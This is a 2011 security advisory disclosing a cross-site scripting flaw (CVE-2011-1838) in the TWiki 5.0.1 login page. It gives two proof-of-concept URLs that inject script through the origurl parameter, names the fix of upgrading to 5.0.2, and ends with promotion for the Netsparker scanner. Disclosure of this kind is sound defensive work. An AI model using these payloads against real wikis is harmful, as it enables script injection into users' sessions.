Information ----------------------------------- Name : XSS vulnerability in TWiki Software : TWiki 5.0.1 and possibily below. Vendor Hompeage : http://twiki.org/ Vulnerability Type : Cross-Site Scripting Severity : High Researcher : Mesut Timur <mesut [at] mavitunasecurity [dot] com> Advisory Reference : NS-11-005 CVE : CVE-2011-1838 Description ----------------------------------- TWiki� is a flexible, powerful, and easy to use enterprise wiki, enterprise collaboration platform, and web application platform. It is a Structured Wiki, typically used to run a project development space, a document management system, a knowledge base, or any other groupware tool, on an intranet, extranet or the Internet. Details ----------------------------------- TWiki is affected by XSS vulnerabilities in version 5.0.1. Example PoC url is as follows : http://example.com/bin/login?sudo=sudo;origurl=http://example.com/bin/view/Main/TWikiAdminUser%00%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Ealert%280x00044C%29%3C%2Fscript%3E http://example.com/bin/login/Main/WebHome? '"1=;origurl=1'"--></style></script><script>alert(0x00039C)</script> You can read the full article about Cross-Site Scripting vulnerabilities from here : http://www.mavitunasecurity.com/crosssite-scripting-xss/ Solution ----------------------------------- Upgrade to the latest TWiki version (5.0.2). Credits ----------------------------------- It has been discovered on testing of Netsparker, Web Application Security Scanner - http://www.mavitunasecurity.com/netsparker/. References ----------------------------------- Vendor Url : http://twiki.org/cgi-bin/view/Codev/SecurityAlert-CVE-2011-1838 MSL Advisory Link : http://www.mavitunasecurity.com/XSS-vulnerability-in-Twiki/ Netsparker Advisories : http://www.mavitunasecurity.com/netsparker-advisories/ About Netsparker ----------------------------------- Netsparker� can find and report security issues such as SQL Injection and Cross-site Scripting (XSS) in all web applications regardless of the platform and the technology they are built on. Netsparker's unique detection and exploitation techniques allows it to be dead accurate in reporting hence it's the first and the only False Positive Free web application security scanner. -- Netsparker Advisories, <advisories@mavitunasecurity.com> Homepage, http://www.mavitunasecurity.com/netsparker-advisories/